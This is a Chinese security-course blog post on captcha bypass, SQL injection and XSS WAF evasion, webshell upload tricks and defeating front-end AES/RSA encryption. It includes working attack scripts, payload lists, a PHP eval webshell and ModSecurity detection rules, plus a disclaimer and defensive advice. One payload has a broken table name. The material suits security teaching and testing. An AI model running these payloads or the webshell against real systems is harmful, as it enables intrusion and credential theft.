马哥教育网络安全课程实战博客 · 第09篇 对应课程章节:第20章 Web安全,绕过验证码、WAF绕过、加密绕过等进阶知识 实验环境:4台Ubuntu 24.04服务器,攻击机 113.47.1.165
一、验证码绕过技术
验证码(CAPTCHA)是防止自动化攻击的重要手段,但在实际应用中存在多种绕过方式。
1.1 验证码识别 - OCR技术
使用OCR(光学字符识别)技术自动识别简单验证码。
# captcha_ocr.py - 使用pytesseract识别验证码
import pytesseract
from PIL import Image
import requests
def recognize_captcha(image_url, cookies=None):
"""下载并识别验证码"""
# 下载验证码图片
response = requests.get(image_url, cookies=cookies)
# 保存图片
with open('captcha.png', 'wb') as f:
f.write(response.content)
# 打开图片
img = Image.open('captcha.png')
# 图像预处理
img = img.convert('L') # 转灰度
img = img.point(lambda x: 0 if x < 128 else 255) # 二值化
# OCR识别
result = pytesseract.image_to_string(
img,
config='--psm 7 -c tessedit_char_whitelist=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
)
return result.strip()
# 使用示例
captcha = recognize_captcha('http://target.com/captcha.php')
print(f"识别结果: {captcha}")
1.2 验证码识别 - 机器学习
对于复杂验证码,使用深度学习模型进行识别。
# captcha_ml.py - 使用CNN模型识别验证码
import numpy as np
from PIL import Image
import tensorflow as tf
from tensorflow import keras
# 构建CNN模型识别4位字符验证码
def build_model(char_num=4, char_set=36):
"""构建验证码识别模型"""
model = keras.Sequential([
keras.layers.Conv2D(32, (3, 3), activation='relu', input_shape=(60, 160, 1)),
keras.layers.MaxPooling2D((2, 2)),
keras.layers.Conv2D(64, (3, 3), activation='relu'),
keras.layers.MaxPooling2D((2, 2)),
keras.layers.Conv2D(64, (3, 3), activation='relu'),
keras.layers.Flatten(),
keras.layers.Dense(64, activation='relu'),
# 4个输出头,每个输出一个字符
keras.layers.Dense(char_num * char_set, activation='softmax'),
])
model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])
return model
# 使用训练好的模型
def predict_captcha(image_path, model):
img = Image.open(image_path).convert('L').resize((160, 60))
img_array = np.array(img).reshape(1, 60, 160, 1) / 255.0
prediction = model.predict(img_array)
# 解码预测结果
chars = '0123456789abcdefghijklmnopqrstuvwxyz'
result = ''
for i in range(4):
char_idx = np.argmax(prediction[0][i*36:(i+1)*36])
result += chars[char_idx]
return result
1.3 验证码逻辑绕过
# captcha_bypass.py - 验证码逻辑漏洞绕过
# 1. 验证码复用 - 验证通过后不删除Session中的验证码
# 同一个验证码可以多次使用
def exploit_captcha_reuse(target_url, login_url):
session = requests.Session()
# 获取一次验证码
captcha = recognize_captcha(f"{target_url}/captcha.php", session.cookies)
# 使用同一验证码多次尝试
for password in open('passwords.txt'):
data = {
'username': 'admin',
'password': password.strip(),
'captcha': captcha # 复用验证码
}
r = session.post(login_url, data=data)
if '登录成功' in r.text:
print(f"[+] 密码: {password.strip()}")
break
# 2. 验证码置空 - 验证码参数为空时跳过验证
def exploit_captcha_empty(login_url):
for password in open('passwords.txt'):
data = {
'username': 'admin',
'password': password.strip(),
'captcha': '' # 空验证码
}
r = requests.post(login_url, data=data)
if 'success' in r.text:
print(f"[+] 密码: {password.strip()}")
break
# 3. 验证码绕过 - 修改请求方法
# GET请求不验证验证码,POST验证
# 将POST请求改为GET
# 4. 验证码前端验证 - 验证码仅在前端JS验证
# 直接发送请求不带验证码
1.4 人工打码平台
# 人工打码平台接口示例
import requests
def human_captcha_solve(image_path, platform='dddd'):
"""调用人工打码平台识别验证码"""
with open(image_path, 'rb') as f:
image_data = f.read()
import base64
image_b64 = base64.b64encode(image_data).decode()
# 调用打码平台API
response = requests.post('https://api.captcha-platform.com/recognize',
json={
'image': image_b64,
'type': 'common'
},
headers={'Authorization': 'your-api-key'}
)
return response.json()['result']
二、SQL注入WAF绕过
2.1 编码绕过
-- URL编码绕过
-- 原始: UNION SELECT
-- URL编码: %55%4e%49%4f%4e%20%53%45%4c%45%43%54
-- 双重URL编码: %2555%254e%2549%254f%254e
-- 十六进制编码绕过
-- 原始: SELECT * FROM users
-- 十六进制: 0x53454c454354202a2046524f4d207573657273
-- Unicode编码绕过
-- 原始: UNION SELECT
-- Unicode: %u0055%u004e%u0049%u004f%u004e %u0053%u0045%u004c%u0045%u0043%u0054
-- Base64编码绕过(MySQL)
-- 原始: SELECT version()
-- 使用from_base64: SELECT from_base64('U0VMRUNUIHZlcnNpb24oKQ==')
2.2 注释绕过
-- 内联注释绕过(MySQL特有)
-- 原始: UNION SELECT
-- 内联注释: /*!50000UNION*/ /*!50000SELECT*/
-- 或: UNI/**/ON SEL/**/ECT
-- 条件注释绕过
-- /*!50000UNION*/ 表示MySQL 5.00以上版本执行
-- 注释符绕过
-- 原始: ' OR 1=1 --
-- 变形: ' OR 1=1 -- -
-- 变形: ' OR 1=1 #
-- 变形: ' OR 1=1 /*comment*/
-- 换行注释绕过
-- 使用%0a换行符
' OR 1=1--%0a
2.3 等价函数绕过
-- WAF过滤了某些关键字,使用等价函数
-- 过滤UNION SELECT
UNION DISTINCT SELECT
UNION ALL SELECT
UNION SELECT DISTINCT
-- 过滤了AND/OR
AND -> &&
OR -> ||
NOT -> !
-- 过滤了=号
= -> LIKE
= -> BETWEEN
= -> IN
= -> RLIKE
= -> REGEXP
-- 过滤了空格
空格 -> /**/
空格 -> %0a (换行)
空格 -> %09 (Tab)
空格 -> %0b (垂直Tab)
空格 -> %0c (换页)
空格 -> +
空格 -> () -- 括号代替空格
-- 过滤了逗号
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR(str,1,1) -> SUBSTR(str FROM 1 FOR 1)
-- 等价函数
ASCII() -> ORD()
MID() -> SUBSTR() -> SUBSTRING()
CONCAT() -> CONCAT_WS()
SLEEP() -> BENCHMARK()
2.4 HTTP参数污染(HPP)
-- HTTP参数污染绕过
-- WAF只检查单个参数,数据库使用最后一个参数
GET /page.php?id=1&id=UNION+SELECT+1,2,3 HTTP/1.1
-- 不同Web服务器参数处理差异:
-- Apache/PHP: 使用最后一个 -> id=UNION SELECT 1,2,3
-- Tomcat/JSP: 使用第一个 -> id=1
-- IIS/ASP: 逗号拼接 -> id=1,UNION SELECT 1,2,3
2.5 Chunked编码绕过
# chunked_bypass.py - 使用Chunked传输编码绕过WAF
import socket
def chunked_request(host, port, path, payload):
"""使用Chunked编码发送请求"""
# 将payload分成小块
chunks = [payload[i:i+10] for i in range(0, len(payload), 10)]
# 构建Chunked请求体
body = ''
for chunk in chunks:
body += f'{len(chunk):x}\r\n{chunk}\r\n'
body += '0\r\n\r\n'
request = f"POST {path} HTTP/1.1\r\n"
request += f"Host: {host}\r\n"
request += "Transfer-Encoding: chunked\r\n"
request += f"Content-Length: {len(body)}\r\n"
request += "Connection: close\r\n\r\n"
request += body
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(request.encode())
response = sock.recv(4096)
sock.close()
return response
# 使用示例
chunked_request('target.com', 80, '/search.php',
'id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM users')
三、XSS WAF绕过
3.1 编码绕过
// HTML实体编码绕过
<img src=x onerror="alert(1)">
<img src=x onerror="alert(1)">
// JavaScript编码绕过
<script>eval('\x61\x6c\x65\x72\x74(1)')</script>
<script>eval('\u0061\u006c\u0065\u0072\u0074(1)')</script>
<script>eval(atob('YWxlcnQoMSk='))</script>
// String.fromCharCode绕过
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
// 混合编码
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
3.2 事件处理器变体
<!-- WAF过滤了onerror,使用其他事件 -->
<img src=x onmouseover=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<marquee onstart=alert(1)>
<details ontoggle=alert(1) open>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<video src=x onloadeddata=alert(1)>
<audio src=x onerror=alert(1)>
<!-- 组合事件 -->
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<!-- 事件处理器大小写混合 -->
<img src=x OnErRoR=alert(1)>
<img src=x oNeRrOr=alert(1)>
3.3 标签变体
<!-- SVG标签 -->
<svg/onload=alert(1)>
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<!-- Math标签 -->
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>
<!-- 使用不常见标签 -->
<xss id=x tabindex=1 onactivate=alert(1)></xss>
<xss id=x onfocus=alert(1) tabindex=1 style=position:fixed;top:0>
<!-- 模板标签 -->
<template><svg onload=alert(1)></template>
<!-- noscript标签(当JS禁用时执行) -->
<noscript><img src=x onerror=alert(1)></noscript>
四、文件上传WAF绕过
4.1 Content-Type绕过
# content_type_bypass.py - 修改Content-Type绕过WAF
import requests
# WAF检查Content-Type是否为图片
# 修改为合法图片类型但内容为PHP
files = {
'file': ('shell.php', '<?php @eval($_POST["cmd"]); ?>', 'image/jpeg')
}
r = requests.post('http://target.com/upload.php', files=files)
4.2 Boundary manipulation
-- 修改multipart boundary绕过WAF检测
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
-- 修改boundary长度
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW--
-- 使用不同格式的boundary
Content-Type: multipart/form-data; boundary= ----WebKitFormBoundary
-- 双重Content-Type
Content-Type: multipart/form-data; boundary=A; boundary=B
# boundary_bypass.py - 手动构造请求绕过WAF
import socket
def upload_bypass(host, port, path, filename, content):
"""手动构造multipart请求绕过WAF"""
boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW"
# 在boundary前添加大量空格
body = f"--{boundary}\r\n"
body += f"Content-Disposition: form-data; name=\"file\"; filename=\"{filename}\"\r\n"
body += "Content-Type: application/octet-stream\r\n\r\n"
body += content + "\r\n"
body += f"--{boundary}--\r\n"
request = f"POST {path} HTTP/1.1\r\n"
request += f"Host: {host}\r\n"
request += f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
request += f"Content-Length: {len(body)}\r\n\r\n"
request += body
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(request.encode())
response = sock.recv(4096)
sock.close()
return response
4.3 文件名绕过
# 文件名变形绕过
shell.php -> shell.pHP # 大小写
shell.php -> shell.php5 # PHP5扩展
shell.php -> shell.phtml # PHTML扩展
shell.php -> shell.pht # PHT扩展
shell.php -> shell.php%00.jpg # 截断
shell.php -> shell.php%20 # 空格
shell.php -> shell.php. # 点号
shell.php -> shell.php/ # 斜杠
shell.php -> shell.php::$DATA # NTFS ADS
五、前端加密绕过
5.1 常见前端加密分析
现代Web应用常在前端对数据进行加密后传输,给安全测试带来挑战。
// 常见前端加密方式
// AES加密
var encrypted = CryptoJS.AES.encrypt(
JSON.stringify(data),
CryptoJS.enc.Utf8.parse('16bytesecretkey!'),
{mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.Pkcs7}
).toString();
// RSA加密
var encrypt = new JSEncrypt();
encrypt.setPublicKey(publicKey);
var encrypted = encrypt.encrypt(data);
// DES加密
var encrypted = CryptoJS.DES.encrypt(
data,
CryptoJS.enc.Utf8.parse('deskey!!'),
{mode: CryptoJS.mode.ECB}
).toString();
// Base64编码(非加密,但常配合使用)
var encoded = btoa(JSON.stringify(data));
// MD5哈希
var hashed = CryptoJS.MD5(data).toString();
// 自定义加密 - 混淆的JS函数
var encrypted = _0x1234['encrypt'](data, _0x5678);
5.2 JavaScript逆向工程
前端加密逆向分析流程:
- 在浏览器DevTools中搜索加密关键字(encrypt, AES, RSA, CryptoJS, JSEncrypt)
- 在加密函数处设置断点,触发请求,查看参数
- 分析加密算法和密钥(可能是硬编码或动态获取)
- 在Burp Suite中处理加密(编写插件自动加解密)
// 在浏览器控制台执行
// 1. 找到加密函数
console.log(window.encrypt); // 查看全局加密函数
// 2. 使用加密函数加密payload
var payload = {"username": "admin", "password": "test123"};
var encrypted = encrypt(JSON.stringify(payload));
console.log("加密结果: " + encrypted);
// 3. 使用加密结果发送请求
fetch('/api/login', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({data: encrypted})
});
5.3 常见加密库识别
// 识别常见加密库
// CryptoJS - 最常见的前端加密库
// 特征: CryptoJS.AES.encrypt, CryptoJS.MD5, CryptoJS.SHA256
if (typeof CryptoJS !== 'undefined') {
console.log("使用CryptoJS库");
}
// JSEncrypt - RSA加密库
// 特征: JSEncrypt, setPublicKey, setPrivateKey
if (typeof JSEncrypt !== 'undefined') {
console.log("使用JSEncrypt库");
}
// forge - 功能更全的加密库
// 特征: forge.cipher, forge.pki, forge.util
if (typeof forge !== 'undefined') {
console.log("使用forge库");
}
// sjcl - Stanford JavaScript Crypto Library
// 特征: sjcl.encrypt, sjcl.json
if (typeof sjcl !== 'undefined') {
console.log("使用sjcl库");
}
// 自定义加密 - 混淆代码
// 特征: _0x开头的变量名, eval, atob, String.fromCharCode
// 需要反混淆后分析
5.4 Burp Suite处理加密Payload
Burp Suite处理加密的两种方案:
方案1: Burp Suite + 浏览器代理
- 浏览器正常加密请求
- Burp Suite拦截加密后的请求
- 在Burp中修改密文(需要知道加密方式)
- 适用于对称加密且密钥已知的情况
方案2: Burp Suite插件自动加解密
- 编写Burp插件,在请求前解密,修改后重新加密
- 适用于已知加密算法和密钥的情况
# burp_encrypt_handler.py - AES ECB模式加解密示例
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
def aes_decrypt(ciphertext_b64, key):
"""AES ECB解密"""
key_bytes = key.encode('utf-8')
cipher = AES.new(key_bytes, AES.MODE_ECB)
ciphertext = base64.b64decode(ciphertext_b64)
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
return plaintext.decode('utf-8')
def aes_encrypt(plaintext, key):
"""AES ECB加密"""
key_bytes = key.encode('utf-8')
cipher = AES.new(key_bytes, AES.MODE_ECB)
padded = pad(plaintext.encode('utf-8'), AES.block_size)
ciphertext = cipher.encrypt(padded)
return base64.b64encode(ciphertext).decode('utf-8')
# 使用示例
key = '16bytesecretkey!'
original = '{"username":"admin","password":"123456"}'
encrypted = aes_encrypt(original, key)
print(f"加密: {encrypted}")
decrypted = aes_decrypt(encrypted, key)
print(f"解密: {decrypted}")
# 修改明文后重新加密
import json
data = json.loads(decrypted)
data['password'] = "' OR 1=1 -- " # 注入payload
modified = json.dumps(data, separators=(',', ':'))
re_encrypted = aes_encrypt(modified, key)
print(f"修改后加密: {re_encrypted}")
5.5 RSA加密绕过
RSA前端加密的常见问题和绕过方式:
- 公钥硬编码在前端JS中:可以提取公钥在本地加密,但无法解密(没有私钥)
- 服务端返回公钥:拦截响应,替换公钥为自己生成的公钥,使用自己的私钥解密
- RSA + AES混合加密:RSA加密AES密钥,AES加密数据,需要分别处理
# rsa_bypass.py - RSA前端加密绕过
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64
# 方案: 替换公钥
def generate_keypair():
"""生成自己的RSA密钥对"""
key = RSA.generate(2048)
private_key = key.export_key()
public_key = key.publickey().export_key()
return private_key, public_key
def decrypt_with_private(ciphertext_b64, private_key_pem):
"""使用自己的私钥解密"""
key = RSA.import_key(private_key_pem)
cipher = PKCS1_v1_5.new(key)
ciphertext = base64.b64decode(ciphertext_b64)
plaintext = cipher.decrypt(ciphertext, None)
return plaintext.decode('utf-8')
# 在Burp Suite中:
# 1. 拦截服务端返回公钥的响应
# 2. 替换公钥为自己生成的公钥
# 3. 前端使用我们的公钥加密
# 4. 拦截加密请求,用我们的私钥解密
# 5. 修改明文,用原始公钥重新加密
六、ModSecurity实战
6.1 ModSecurity部署
# Ubuntu 24.04 安装ModSecurity
sudo apt update
sudo apt install libapache2-mod-security2
# 启用ModSecurity
sudo a2enmod security2
# 配置ModSecurity
sudo cp /etc/modsecurity/modsecurity.conf-recommended \
/etc/modsecurity/modsecurity.conf
# 启用检测模式(DetectionOnly)或阻断模式(On)
# 编辑 /etc/modsecurity/modsecurity.conf
# SecRuleEngine On # 阻断模式
# SecRuleEngine DetectionOnly # 仅检测模式
# 安装OWASP Core Rule Set (CRS)
cd /usr/share/modsecurity-crs
sudo git clone https://github.com/coreruleset/coreruleset.git
sudo mv coreruleset /usr/share/modsecurity-crs/
# 启用CRS规则
# 编辑 /etc/apache2/mods-enabled/security2.conf
# IncludeOptional /usr/share/modsecurity-crs/coreruleset/crs-setup.conf
# IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/*.conf
# 重启Apache
sudo systemctl restart apache2
6.2 ModSecurity规则测试
# 自定义ModSecurity规则
# 规则1: 阻止SQL注入
SecRule ARGS "(?i:(union|select|insert|delete|update|drop|alter))" \
"id:1001,phase:2,deny,status:403,msg:'SQL Injection Detected'"
# 规则2: 阻止XSS
SecRule ARGS "(?i:(<script|onerror|onload|javascript:))" \
"id:1002,phase:2,deny,status:403,msg:'XSS Detected'"
# 规则3: 阻止路径穿越
SecRule ARGS "(?i:(\.\./|\.\.\\|%2e%2e/))" \
"id:1003,phase:2,deny,status:403,msg:'Path Traversal Detected'"
# 规则4: 阻止命令注入
SecRule ARGS "(?i:(;|&|\||`|\$\(|\bcat\b|\bls\b|\bid\b|\bwhoami\b))" \
"id:1004,phase:2,deny,status:403,msg:'Command Injection Detected'"
# 测试ModSecurity规则
# 测试SQL注入检测
curl "http://localhost/search.php?q=1 UNION SELECT * FROM users"
# 预期: 403 Forbidden
# 测试XSS检测
curl "http://localhost/search.php?q=<script>alert(1)</script>"
# 预期: 403 Forbidden
# 查看ModSecurity日志
sudo tail -f /var/log/apache2/modsec_audit.log
6.3 WAF绕过测试流程
# waf_bypass_test.py - 系统化WAF绕过测试
import requests
import time
class WAFBypassTester:
def __init__(self, target_url, param_name):
self.target_url = target_url
self.param_name = param_name
self.results = []
def test_payload(self, payload, description):
"""测试单个payload是否被WAF拦截"""
params = {self.param_name: payload}
r = requests.get(self.target_url, params=params)
blocked = r.status_code == 403 or 'blocked' in r.text.lower()
result = {
'description': description,
'payload': payload,
'blocked': blocked,
'status_code': r.status_code
}
self.results.append(result)
status = "已拦截" if blocked else "未拦截"
print(f"[{status}] {description}: {payload[:50]}")
time.sleep(0.5) # 避免请求过快
return not blocked
def test_sqli_bypass(self):
"""测试SQL注入绕过"""
payloads = [
("原始Payload", "1 UNION SELECT 1,2,3"),
("内联注释", "1 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3"),
("大小写混合", "1 UnIoN SeLeCt 1,2,3"),
("注释分隔", "1 UN/**/ION SE/**/LECT 1,2,3"),
("换行符", "1%0aUNION%0aSELECT%0a1,2,3"),
("URL编码", "1%20%55NION%20%53ELECT%201,2,3"),
("等价函数", "1 UNION DISTINCT SELECT 1,2,3"),
]
print("=== SQL注入WAF绕过测试 ===")
for desc, payload in payloads:
self.test_payload(payload, desc)
# 使用示例
tester = WAFBypassTester('http://target.com/search.php', 'q')
tester.test_sqli_bypass()
七、综合实战案例
7.1 加密+WAF双重绕过
# combined_bypass.py - 加密+WAF双重绕过
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
import json
def combined_bypass(target_url, aes_key):
"""绕过前端AES加密和WAF"""
# 原始正常请求
normal_data = {"username": "admin", "password": "123456"}
# 注入payload
sqli_data = {"username": "admin' UNION SELECT 1,2,3-- -", "password": "123456"}
# AES加密
def encrypt(data):
key_bytes = aes_key.encode('utf-8')
cipher = AES.new(key_bytes, AES.MODE_ECB)
padded = pad(json.dumps(data).encode('utf-8'), AES.block_size)
return base64.b64encode(cipher.encrypt(padded)).decode()
# 发送加密请求
encrypted = encrypt(sqli_data)
response = requests.post(target_url, json={"data": encrypted})
return response
# 流程说明:
# 1. 分析前端JS找到AES加密函数和密钥
# 2. 在本地构造注入payload
# 3. 使用相同AES算法加密payload
# 4. 发送加密后的payload到服务器
# 5. 服务器解密后执行SQL查询
# 6. WAF检查的是加密后的数据,无法检测注入
7.2 实际绕过案例
某系统使用AES加密请求体 + ModSecurity WAF的绕过步骤:
- 分析前端JS,发现使用CryptoJS.AES.encrypt
- 提取AES密钥(硬编码在JS中)
- 在本地使用相同密钥加密SQL注入payload
- WAF只检查加密后的密文,无法识别注入
- 服务器解密后执行SQL,注入成功
# real_world_bypass.py - 真实场景绕过示例
# 1. 提取的AES密钥
aes_key = '1234567890abcdef' # 从JS中提取
# 2. 构造注入payload
payloads = [
"admin' OR '1'='1",
"admin' UNION SELECT 1,2,3,4,5-- -",
"admin' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information.tables GROUP BY x)a)-- -",
]
# 3. 加密并发送
for payload in payloads:
data = {"username": payload, "password": "test"}
encrypted = aes_encrypt(json.dumps(data), aes_key)
# 4. 发送请求
r = requests.post('https://target.com/api/login',
json={"enc_data": encrypted})
print(f"Payload: {payload}")
print(f"Response: {r.status_code} - {r.text[:100]}")
八、总结
验证码绕过要点
- OCR识别:适用于简单文本验证码
- 机器学习:适用于复杂验证码,需要训练模型
- 逻辑绕过:验证码复用、空值绕过、前端验证
- 人工打码:适用于高难度验证码
WAF绕过要点
| 绕过类型 | 关键技术 | 适用场景 |
|---|---|---|
| 编码绕过 | URL/Unicode/Base64编码 | SQL注入、XSS |
| 注释绕过 | 内联注释、条件注释 | SQL注入 |
| 等价函数 | 替换关键字和函数 | SQL注入 |
| HPP | 参数污染 | SQL注入 |
| Chunked | 分块传输编码 | 通用 |
| 标签变体 | SVG/事件处理器 | XSS |
| Boundary | 修改分隔符 | 文件上传 |
加密绕过要点
- 分析前端JS:定位加密函数和密钥
- 提取密钥:硬编码密钥、动态获取密钥
- 本地加解密:使用相同算法处理payload
- Burp Suite配合:插件自动加解密
- RSA特殊处理:公钥替换技术
安全建议
- WAF不能作为唯一的安全防护,需要配合安全编码
- 前端加密不能替代传输层安全(HTTPS)
- 验证码需要服务端验证且一次性使用
- 定期更新WAF规则,跟踪新绕过技术
- 纵深防御:WAF + 安全编码 + 输入验证 + 输出编码
免责声明:本文内容仅供安全学习和授权测试使用。未经授权对他人系统进行测试属于违法行为。请在合法授权范围内进行所有安全测试。
文章实战性强,覆盖从验证码到前端加密的多类绕过手法,适合安全从业者与Web开发者理解攻击路径,从而完善WAF规则与纵深防御。